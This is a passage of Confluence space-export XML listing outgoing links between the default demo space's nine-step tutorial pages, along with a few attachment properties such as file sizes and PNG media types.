<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196653</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196646</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Share your page with a team member (step 9 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[share your page with a team member (step 9 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196647</id>
|
||||
<property name="destinationPageTitle"><![CDATA[What is Confluence? (step 1 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[what is confluence? (step 1 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196648</id>
|
||||
<property name="destinationPageTitle"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196649</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Lay out your page (step 6 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196642</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196643</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196644</id>
|
||||
<property name="destinationPageTitle"><![CDATA[//maps.google.com/maps?q=Atlassian,+George+Street,+New+South+Wales,+Australia&hl=en&ll=-33.866572,151.207001&spn=0.004321,0.008256&sll=-33.870509,151.203707&sspn=0.008641,0.016512&oq=atlassian,&hq=Atlassian,+George+Street,+New+South+Wales,+Australia&radiu]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[//maps.google.com/maps?q=atlassian,+george+street,+new+south+wales,+australia&hl=en&ll=-33.866572,151.207001&spn=0.004321,0.008256&sll=-33.870509,151.203707&sspn=0.008641,0.016512&oq=atlassian,&hq=atlassian,+george+street,+new+south+wales,+australia&radiu]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[https]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[https]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196645</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196638</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196639</id>
|
||||
<property name="destinationPageTitle"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196640</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196641</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196634</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196635</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196636</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196637</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196630</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196631</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196632</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196633</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196626</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196627</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196628</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Lay out your page (step 6 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196629</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196622</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196623</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196624</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262272</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196625</id>
|
||||
<property name="destinationPageTitle"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262271</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">14</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196618</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Share your page with a team member (step 9 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[share your page with a team member (step 9 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262270</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196619</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262269</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">9061</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196620</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262268</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196621</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262267</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196614</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Share your page with a team member (step 9 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[share your page with a team member (step 9 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262266</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196615</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262265</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196616</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262264</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">9592</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196617</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262263</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196610</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
